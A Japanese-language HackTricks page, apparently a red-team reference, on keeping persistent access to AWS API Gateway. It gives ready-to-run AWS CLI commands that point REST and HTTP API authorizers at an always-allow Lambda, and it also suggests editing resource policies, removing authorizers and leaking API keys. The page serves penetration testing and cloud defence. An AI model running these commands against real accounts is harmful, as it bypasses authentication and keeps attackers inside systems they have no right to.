AWS - API Gateway Persistence

Tip

学んで実践する AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks をサポートする

API Gateway

詳細は次を参照してください:

AWS - API Gateway Enum

リソースポリシー

API gateway(s) のリソースポリシーを変更して、自分にアクセス権を付与します。

Lambda Authorizers の変更

lambda authorizers のコードを変更して、すべてのエンドポイントへのアクセス権を自分に付与します。あるいは単に authorizer の使用を削除してください。

コントロールプレーン権限で authorizer を作成/更新できる(REST API: aws apigateway update-authorizer, HTTP API: aws apigatewayv2 update-authorizer)場合、常に許可する Lambda に authorizer を向け直す こともできます。

REST APIs(変更には通常デプロイが必要):

REGION="us-east-1"
REST_API_ID="<rest_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"

aws apigateway update-authorizer --region "$REGION" --rest-api-id "$REST_API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
aws apigateway create-deployment --region "$REGION" --rest-api-id "$REST_API_ID" --stage-name "<stage>"

HTTP APIs / apigatewayv2(多くの場合、即座に反映されます):

REGION="us-east-1"
API_ID="<http_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"

aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"

IAM Permissions

リソースが IAM authorizer を使用している場合、IAM permissions を変更して自分にアクセスを与えることができます。
または単に authorizer の使用をやめてください。

API Keys

API keys が使われている場合、それらを leak して persistence を維持したり、新しいものを作成したりできます。
または単に API keys の使用をやめてください。

Tip

学んで実践する AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks をサポートする